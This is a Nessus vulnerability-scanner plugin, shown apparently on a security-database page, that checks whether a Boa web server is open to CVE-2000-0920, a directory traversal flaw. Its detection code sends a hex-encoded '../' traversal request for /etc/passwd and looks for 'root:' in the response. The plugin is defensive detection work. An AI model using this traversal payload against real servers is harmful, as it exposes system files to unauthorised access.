Lucene search

K
nessusThis script is Copyright (C) 2000-2020 Thomas ReinkeHTTPD_BOA.NASL
HistoryOct 06, 2000 - 12:00 a.m.

Boa Web Server Traversal Arbtirary File Access/Execution

2000-10-0600:00:00
This script is Copyright (C) 2000-2020 Thomas Reinke
www.tenable.com
64

The remote Boa Webserver allows an attacker to read arbitrary files on the remote web server by prefixing the pathname of the file with hex-encoded ‘…/…/’ characters.

#
# This script was written by Thomas Reinke <[email protected]>
#
# See the Nessus Scripts License for details
#

# Changes by Tenable:
# - Revised plugin title, output formatting, family change (9/4/09)


include("compat.inc");

if(description)
{
 script_id(10527);
 script_version ("1.26");
 script_cve_id("CVE-2000-0920");
 script_bugtraq_id(1770);
 
 script_name(english:"Boa Web Server Traversal Arbtirary File Access/Execution");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by an information disclosure
vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote Boa Webserver allows an attacker to read arbitrary files on
the remote web server by prefixing the pathname of the file with
hex-encoded '../../' characters." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/Oct/97" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to BowWebserver 0.94.8.3 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"plugin_publication_date", value: "2000/10/06");
 script_set_attribute(attribute:"vuln_publication_date", value: "2000/10/07");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 script_summary(english:"Boa file retrieval");
 script_category(ACT_GATHER_INFO);
 script_copyright(english:"This script is Copyright (C) 2000-2020 Thomas Reinke");
 script_family(english:"Web Servers");
 script_dependencie("http_version.nasl");
 script_require_ports("Services/www", 80);
 exit(0);
}

#
# The script code starts here
#
include("http_func.inc");

port = get_http_port(default:80, embedded:TRUE);

if(get_port_state(port))
{
 soc = http_open_socket(port);
 if(soc)
 {
  buf = string("/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd");
  buf = http_get(item:buf, port:port);
  send(socket:soc, data:buf);
  rep = http_recv(socket:soc);
  if(("root:" >< rep) && ("Boa/" >< rep) )
  	security_warning(port);
  http_close_socket(soc);
 }
}
Related for HTTPD_BOA.NASL